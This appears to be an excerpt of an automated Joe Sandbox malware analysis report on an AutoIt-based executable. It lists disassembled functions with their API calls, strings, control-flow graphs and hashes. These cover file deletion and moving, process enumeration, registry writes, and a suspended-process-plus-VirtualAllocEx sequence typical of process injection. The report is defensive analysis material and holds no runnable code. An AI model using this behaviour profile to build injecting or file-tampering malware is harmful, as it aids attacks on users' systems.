                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                        • String ID: *.*
                                                                                                                                                        • API String ID: 1409584000-438819550
                                                                                                                                                        • Opcode ID: 0a6c195032328eeb14b45f8e9603c248496a0948f93d344d1450084531d68b63
                                                                                                                                                        • Instruction ID: 3554306ca147a067bc20c60c792024bdfd6fcf43cc5befba7e2a272a71656e6e
                                                                                                                                                        • Opcode Fuzzy Hash: 0a6c195032328eeb14b45f8e9603c248496a0948f93d344d1450084531d68b63
                                                                                                                                                        • Instruction Fuzzy Hash: 7631C372640219BBEF24AFB4DC49ADE73ACAF49320F108156E516E2191EB3CDE44DB25
                                                                                                                                                        Function 0077D836 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 1792 77d836-77d894 call 71bf07 * 3 call 71557e * 2 call 77e958 call 77e9c5 1807 77d896-77d89a call 7165a4 1792->1807 1808 77d89f-77d8a9 call 77e9c5 1792->1808 1807->1808 1812 77d8b4-77d8f2 call 71bf07 * 2 call 71694e FindFirstFileW 1808->1812 1813 77d8ab-77d8af call 7165a4 1808->1813 1821 77da23-77da2a FindClose 1812->1821 1822 77d8f8 1812->1822 1813->1812 1824 77da2d-77da5b call 71bd2c * 5 1821->1824 1823 77d8fe-77d900 1822->1823 1823->1821 1825 77d906-77d90d 1823->1825 1827 77d913-77d979 call 71b25f call 77df85 call 71bd2c call 717af4 call 7165a4 call 77dc8e 1825->1827 1828 77d9ef-77da02 FindNextFileW 1825->1828 1851 77d99f-77d9a3 1827->1851 1852 77d97b-77d97e 1827->1852 1828->1823 1831 77da08-77da0d 1828->1831 1831->1823 1855 77d9a5-77d9a8 1851->1855 1856 77d9d1-77d9d7 call 77da5c 1851->1856 1853 77d984-77d99b call 72e2e5 1852->1853 1854 77da12-77da21 FindClose call 71bd2c 1852->1854 1864 77d9ad-77d9b6 MoveFileW 1853->1864 1867 77d99d DeleteFileW 1853->1867 1854->1824 1859 77d9aa 1855->1859 1860 77d9b8-77d9c8 call 77da5c 1855->1860 1866 77d9dc 1856->1866 1859->1864 1860->1854 1871 77d9ca-77d9cf DeleteFileW 1860->1871 1868 77d9df-77d9e1 1864->1868 1866->1868 1867->1851 1868->1854 1870 77d9e3-77d9eb call 71bd2c 1868->1870 1870->1828 1871->1868
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                          • Part of subcall function 0077E9C5: GetFileAttributesW.KERNELBASE(?,0077D755), ref: 0077E9C6
                                                                                                                                                        • FindFirstFileW.KERNELBASE(?,?), ref: 0077D8E2
                                                                                                                                                        • DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0077D99D
                                                                                                                                                        • MoveFileW.KERNEL32(?,?), ref: 0077D9B0
                                                                                                                                                        • DeleteFileW.KERNEL32(?,?,?,?), ref: 0077D9CD
                                                                                                                                                        • FindNextFileW.KERNELBASE(00000000,00000010), ref: 0077D9F7
                                                                                                                                                          • Part of subcall function 0077DA5C: CopyFileExW.KERNELBASE(?,?,00000000,00000000,00000000,00000008,?,?,0077D9DC,?,?), ref: 0077DA72
                                                                                                                                                        • FindClose.KERNEL32(00000000,?,?,?), ref: 0077DA13
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0077DA24
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
                                                                                                                                                        • String ID: \*.*
                                                                                                                                                        • API String ID: 1946585618-1173974218
                                                                                                                                                        • Opcode ID: 8f3b2f16be15c21d0816c2c491461bf16f44e886ed70f4d2e4e76aa4af6b59d3
                                                                                                                                                        • Instruction ID: 6e9846ecb2d827f65b2c2b49c488ba1586a3e461990787703ae8616e2d936106
                                                                                                                                                        • Opcode Fuzzy Hash: 8f3b2f16be15c21d0816c2c491461bf16f44e886ed70f4d2e4e76aa4af6b59d3
                                                                                                                                                        • Instruction Fuzzy Hash: 16619D3180114DEBCF15EBE4DA469EDB7B9AF15340F2480A5E406B71A1EB386F49CF60
                                                                                                                                                        Function 0077DB69 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                          • Part of subcall function 0071557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00715558,?,?,00754B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 0071559E
                                                                                                                                                          • Part of subcall function 0077E9C5: GetFileAttributesW.KERNELBASE(?,0077D755), ref: 0077E9C6
                                                                                                                                                        • FindFirstFileW.KERNELBASE(?,?), ref: 0077DBE0
                                                                                                                                                        • DeleteFileW.KERNELBASE(?,?,?,?), ref: 0077DC30
                                                                                                                                                        • FindNextFileW.KERNEL32(00000000,00000010), ref: 0077DC41
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0077DC58
                                                                                                                                                        • FindClose.KERNEL32(00000000), ref: 0077DC61
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
                                                                                                                                                        • String ID: \*.*
                                                                                                                                                        • API String ID: 2649000838-1173974218
                                                                                                                                                        • Opcode ID: b5c704c7d1ad1a911def6ce42ade595e5603a5839433ebce10e2d128c12a6df8
                                                                                                                                                        • Instruction ID: 26a1a3bed6488a3e0b6bc5bad16d58396ae9d5969bce8e8c9d266641bdadf6a0
                                                                                                                                                        • Opcode Fuzzy Hash: b5c704c7d1ad1a911def6ce42ade595e5603a5839433ebce10e2d128c12a6df8
                                                                                                                                                        • Instruction Fuzzy Hash: F0319C310083849FC715EB68D8859EFB7B9BE92300F40895DF4D6921E1EB68DE49CB62
                                                                                                                                                        Function 0077DC9C Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateToolhelp32Snapshot.KERNEL32 ref: 0077DCC1
                                                                                                                                                        • Process32FirstW.KERNEL32(00000000,?), ref: 0077DCCF
                                                                                                                                                        • Process32NextW.KERNEL32(00000000,?), ref: 0077DCEF
                                                                                                                                                        • CloseHandle.KERNELBASE(00000000), ref: 0077DD9C
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 420147892-0
                                                                                                                                                        • Opcode ID: b0ae0c1e9ca6dd6137bd33cbda7bd31caa0614c3147ca14e563697f277320f81
                                                                                                                                                        • Instruction ID: 518cd2032a692b41ed102dbe1ff7fd7bf4e803276c15772155c84ed9fd92508c
                                                                                                                                                        • Opcode Fuzzy Hash: b0ae0c1e9ca6dd6137bd33cbda7bd31caa0614c3147ca14e563697f277320f81
                                                                                                                                                        • Instruction Fuzzy Hash: A3319E72108300DFC721EF64D885AEFBBF8AF89350F04482DF585861A1EB759D85CB92
                                                                                                                                                        Function 0077E387 Relevance: 6.0, APIs: 4, Instructions: 29filestringCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • lstrlenW.KERNEL32(?,00754686), ref: 0077E397
                                                                                                                                                        • GetFileAttributesW.KERNELBASE(?), ref: 0077E3A6
                                                                                                                                                        • FindFirstFileW.KERNELBASE(?,?), ref: 0077E3B7
                                                                                                                                                        • FindClose.KERNELBASE(00000000), ref: 0077E3C3
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: FileFind$AttributesCloseFirstlstrlen
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 2695905019-0
                                                                                                                                                        • Opcode ID: e9423777bbf2e62695b6de0b645e8727673b5ef3bf910ab5b5a77b256a738b96
                                                                                                                                                        • Instruction ID: 6ee23ea54201b4559bc1dde3e4d2427634f937cef5c20fe4d36ee2a2ce6fd75e
                                                                                                                                                        • Opcode Fuzzy Hash: e9423777bbf2e62695b6de0b645e8727673b5ef3bf910ab5b5a77b256a738b96
                                                                                                                                                        • Instruction Fuzzy Hash: E2F0E530411A1057C621673CEC0D8AA77ACAE86335F10C751F83BC34F0D7B8DDA58699
                                                                                                                                                        Function 013C433F Relevance: 3.8, APIs: 2, Instructions: 796processmemoryCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,16B3FE88,00000000,?,?,000000F8,00000022), ref: 013C4937
                                                                                                                                                        • VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,?,0000002E,00000022,?,F21037D0,00000012,?,00000000,00000000), ref: 013C4999
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2340228513.00000000013BF000.00000004.00000020.00020000.00000000.sdmp, Offset: 01391000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AllocCreateProcessVirtual
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 3731624130-0
                                                                                                                                                        • Opcode ID: a47f03492950398762d0056783d29252f965899e9ce8ed030b6963273f55c19c
                                                                                                                                                        • Instruction ID: a9dec222804fbffd59e73460584ec4ada3b96e8a9aeb3433edc4117d3b6020ae
                                                                                                                                                        • Opcode Fuzzy Hash: a47f03492950398762d0056783d29252f965899e9ce8ed030b6963273f55c19c
                                                                                                                                                        • Instruction Fuzzy Hash: CF71703528D782AFE31667B4DC26B553F709F53B08F1940DEE2809E0E3D5A56849C726
                                                                                                                                                        Function 0079CD16 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 0 79cd16-79cd5a call 71bf07 * 3 7 79cd5c-79cd5f 0->7 8 79cd65-79cdd8 call 718e70 call 79d6b1 call 79d2f7 0->8 7->8 9 79ce64-79ce71 call 71e650 7->9 21 79ce08-79ce0d 8->21 22 79cdda-79cde8 8->22 16 79d1ef-79d212 call 71bd2c * 3 9->16 27 79ce7c 21->27 28 79ce0f-79ce24 RegConnectRegistryW 21->28 24 79cdea 22->24 25 79cded-79cdfd 22->25 24->25 30 79cdff 25->30 31 79ce02-79ce06 25->31 32 79ce80-79ceab RegCreateKeyExW 27->32 33 79ce76-79ce7a 28->33 34 79ce26-79ce43 call 717ab0 28->34 30->31 36 79ce61-79ce63 31->36 37 79cead-79ceca call 717ab0 32->37 38 79cf0e-79cf13 32->38 33->32 47 79ce48-79ce58 34->47 48 79ce45 34->48 36->9 52 79cecc 37->52 53 79cecf-79cede 37->53 40 79cf19-79cf42 call 718e70 call 734db8 38->40 41 79d1d6-79d1e7 RegCloseKey 38->41 60 79cf44-79cf91 call 718e70 _wcslen call 718e70 * 2 40->60 61 79cf96-79cfb9 call 718e70 call 734db8 40->61 41->16 44 79d1e9-79d1ed RegCloseKey 41->44 44->16 49 79ce5a 47->49 50 79ce5d 47->50 48->47 49->50 50->36 52->53 55 79cee0 53->55 56 79cee3-79cef9 call 71e650 53->56 55->56 56->16 63 79ceff-79cf09 RegCloseKey 56->63 77 79d2bb-79d2c7 RegSetValueExW 60->77 71 79cfbf-79d019 call 718e70 _wcslen call 718e70 * 2 RegSetValueExW 61->71 72 79d047-79d06a call 718e70 call 734db8 61->72 63->16 71->41 97 79d01f-79d042 call 717ab0 call 71e650 71->97 87 79d070-79d0d6 call 718e70 call 73019b call 718e70 call 71605e 72->87 88 79d156-79d179 call 718e70 call 734db8 72->88 77->41 80 79d2cd-79d2f2 call 717ab0 call 71e650 77->80 80->41 118 79d0d8-79d0dd 87->118 119 79d0f6-79d128 call 718e70 RegSetValueExW 87->119 105 79d17f-79d19f call 71c92d call 718e70 88->105 106 79d215-79d238 call 718e70 call 734db8 88->106 97->41 125 79d1a1-79d1b4 RegSetValueExW 105->125 126 79d23a-79d260 call 71c5df call 718e70 106->126 127 79d265-79d282 call 718e70 call 734db8 106->127 122 79d0df-79d0e1 118->122 123 79d0e5-79d0e8 118->123 136 79d14a-79d151 call 7301a4 119->136 137 79d12a-79d143 call 717ab0 call 71e650 119->137 122->123 123->118 128 79d0ea-79d0ec 123->128 125->41 131 79d1b6-79d1c0 call 717ab0 125->131 126->125 142 79d1c5-79d1cf call 71e650 127->142 149 79d288-79d2b9 call 78276a call 718e70 call 7827da 127->149 128->119 134 79d0ee-79d0f2 128->134 131->142 134->119 136->41 137->136 142->41 149->77
                                                                                                                                                        APIs
                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0079CE1C
                                                                                                                                                        • RegCreateKeyExW.KERNELBASE(?,?,00000000,007ADCD0,00000000,?,00000000,?,?), ref: 0079CEA3
                                                                                                                                                        • RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0079CF03
                                                                                                                                                        • _wcslen.LIBCMT ref: 0079CF53
                                                                                                                                                        • _wcslen.LIBCMT ref: 0079CFCE
                                                                                                                                                        • RegSetValueExW.KERNELBASE(00000001,?,00000000,00000001,?,?), ref: 0079D011
                                                                                                                                                        • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0079D120
                                                                                                                                                        • RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0079D1AC
                                                                                                                                                        • RegCloseKey.KERNELBASE(?), ref: 0079D1E0
                                                                                                                                                        • RegCloseKey.ADVAPI32(00000000), ref: 0079D1ED
                                                                                                                                                        • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0079D2BF
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Value$Close$_wcslen$ConnectCreateRegistry
                                                                                                                                                        • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                                                                                                                                        • API String ID: 9721498-966354055
                                                                                                                                                        • Opcode ID: ebefa773973d3beca8e1f77f98d93bb6bf6e9828299b6a3b19dc5254999ea323
                                                                                                                                                        • Instruction ID: fbdb2dd712a1cb20063d7410cc334eab9943367bf8a4a8ec5f2fb25204caf3d9
                                                                                                                                                        • Opcode Fuzzy Hash: ebefa773973d3beca8e1f77f98d93bb6bf6e9828299b6a3b19dc5254999ea323
                                                                                                                                                        • Instruction Fuzzy Hash: A7125935204201DFDB24DF18D885A6ABBE5FF88754F05845CF98A9B3A2DB39ED41CB81
                                                                                                                                                        Function 00713E15 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 159 713e15-713e45 call 73019b call 73016b 164 713e47-713e49 159->164 165 713e6e-713e80 call 73919b 159->165 166 713e4a-713e50 164->166 165->166 172 713e82-713e94 call 73919b 165->172 168 713e52-713e62 call 73015d call 7301a4 166->168 169 713e65-713e6b 166->169 168->169 177 754585-754587 172->177 178 713e9a-713eac call 73919b 172->178 177->166 182 713eb2-713ec4 call 73919b 178->182 183 75458c-75458f 178->183 186 754594-7545cb call 714154 call 714093 call 713fb8 _wcslen 182->186 187 713eca-713edc call 73919b 182->187 183->166 205 7545cd-7545d8 186->205 206 754608-75460b 186->206 192 713ee2-713ef4 call 73919b 187->192 193 75462e-754633 187->193 203 754677-754688 call 77a316 192->203 204 713efa-713f0c call 73919b 192->204 193->166 195 754639-754655 call 72e2e5 193->195 207 754657-75465b 195->207 208 754662-75466a 195->208 220 7546dc-7546e2 203->220 221 75468a-7546d2 call 71b25f * 2 call 715379 call 713aa3 call 71bd2c * 2 203->221 222 713f26 204->222 223 713f0e-713f20 call 73919b 204->223 205->206 211 7545da-7545e1 205->211 214 7545f6-754603 call 7301a4 206->214 215 75460d-75461b 206->215 207->195 212 75465d 207->212 208->166 213 754670 208->213 211->214 218 7545e3-7545e7 211->218 212->166 213->203 228 7546f5-7546ff call 77a12a 214->228 229 754620-754629 call 7301a4 215->229 218->214 226 7545e9-7545f4 218->226 220->228 236 754704-754706 221->236 262 7546d4-7546d7 221->262 225 713f29-713f2e call 71ad74 222->225 223->166 223->222 239 713f33-713f35 225->239 226->229 228->236 229->166 236->166 242 7546e4-7546e9 239->242 243 713f3b-713f5e call 713fb8 call 714093 call 73919b 239->243 242->166 246 7546ef-7546f0 242->246 258 713fb0-713fb3 243->258 259 713f60-713f72 call 73919b 243->259 246->228 258->225 259->258 264 713f74-713f86 call 73919b 259->264 262->166 267 713f88-713f9a call 73919b 264->267 268 713f9c-713fa5 264->268 267->225 267->268 268->166 270 713fab 268->270 270->225
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                                                                                                                        • API String ID: 0-1645009161
                                                                                                                                                        • Opcode ID: 16cb2c3829aec7323fd113019717a9b9033bca21c3f67f258a809c64bccdbafa
                                                                                                                                                        • Instruction ID: f5b1ba3390cba86e284c2e04826bb6d0cd1e3876383c6af8ac7d8e502911e442
                                                                                                                                                        • Opcode Fuzzy Hash: 16cb2c3829aec7323fd113019717a9b9033bca21c3f67f258a809c64bccdbafa
                                                                                                                                                        • Instruction Fuzzy Hash: 1081B57164020AFBEB11AF68DC4AFEF37A9AF05704F044014F905AA1D6E7BCDA99C791
                                                                                                                                                        Function 00713696 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 145windowtimeregistryCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        • Executed
                                                                                                                                                        • Not Executed
                                                                                                                                                        control_flow_graph 434 713696-7136ab 435 71370b-71370d 434->435 436 7136ad-7136b0 434->436 435->436 437 71370f 435->437 438 713711 436->438 439 7136b2-7136b9 436->439 440 7136f6-7136fe DefWindowProcW 437->440 441 713717-71371c 438->441 442 753dce-753df6 call 712f24 call 72f1c6 438->442 443 71378b-713793 PostQuitMessage 439->443 444 7136bf-7136c4 439->444 446 713704-71370a 440->446 448 713743-71376a SetTimer RegisterWindowMessageW 441->448 449 71371e-713721 441->449 477 753dfb-753e02 442->477 447 71373f-713741 443->447 450 7136ca-7136ce 444->450 451 753e3b-753e4f call 77c80c 444->451 447->446 448->447 452 71376c-713777 CreatePopupMenu 448->452 457 713727-71373a KillTimer call 71388e call 71572c 449->457 458 753d6f-753d72 449->458 453 713795-71379f call 72fcbb 450->453 454 7136d4-7136d9 450->454 451->447 469 753e55 451->469 452->447 471 7137a4 453->471 459 753e20-753e27 454->459 460 7136df-7136e4 454->460 457->447 464 753d74-753d78 458->464 465 753daa-753dc9 MoveWindow 458->465 459->440 475 753e2d-753e36 call 771367 459->475 467 713779-713789 call 7137a6 460->467 468 7136ea-7136f0 460->468 472 753d99-753da5 SetFocus 464->472 473 753d7a-753d7d 464->473 465->447 467->447 468->440 468->477 469->440 471->447 472->447 473->468 478 753d83-753d94 call 712f24 473->478 475->440 477->440 482 753e08-753e1b call 71388e call 7138f2 477->482 478->447 482->440
                                                                                                                                                        APIs
                                                                                                                                                        • DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00713690,?,?), ref: 007136FE
                                                                                                                                                        • KillTimer.USER32(?,00000001,?,?,?,?,?,00713690,?,?), ref: 0071372A
                                                                                                                                                        • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 0071374D
                                                                                                                                                        • RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00713690,?,?), ref: 00713758
                                                                                                                                                        • CreatePopupMenu.USER32 ref: 0071376C
                                                                                                                                                        • PostQuitMessage.USER32(00000000), ref: 0071378D
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                                                                                                        • String ID: 0$~$0$~$TaskbarCreated
                                                                                                                                                        • API String ID: 129472671-2613399490
                                                                                                                                                        • Opcode ID: 87286ac6fe57781e46a1ec6b16ed8622cccac1deb0b5fb86742d10303f391144
                                                                                                                                                        • Instruction ID: 7cac23a525bfb252c60650c27f7d372745260be6aa26b4af90e61fc30019381a
                                                                                                                                                        • Opcode Fuzzy Hash: 87286ac6fe57781e46a1ec6b16ed8622cccac1deb0b5fb86742d10303f391144
                                                                                                                                                        • Instruction Fuzzy Hash: 83413BB1204184B7DB285B3CDC8EBF9366DE749350F008124F9169E2E2CABD9FC68755
                                                                                                                                                        Function 007135AB Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                                                                                                        Download Yara Rule

                                                                                                                                                        Control-flow Graph

                                                                                                                                                        APIs
                                                                                                                                                        • GetSysColorBrush.USER32(0000000F), ref: 007135DE
                                                                                                                                                        • RegisterClassExW.USER32(00000030), ref: 00713608
                                                                                                                                                        • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00713619
                                                                                                                                                        • InitCommonControlsEx.COMCTL32(?), ref: 00713636
                                                                                                                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00713646
                                                                                                                                                        • LoadIconW.USER32(000000A9), ref: 0071365C
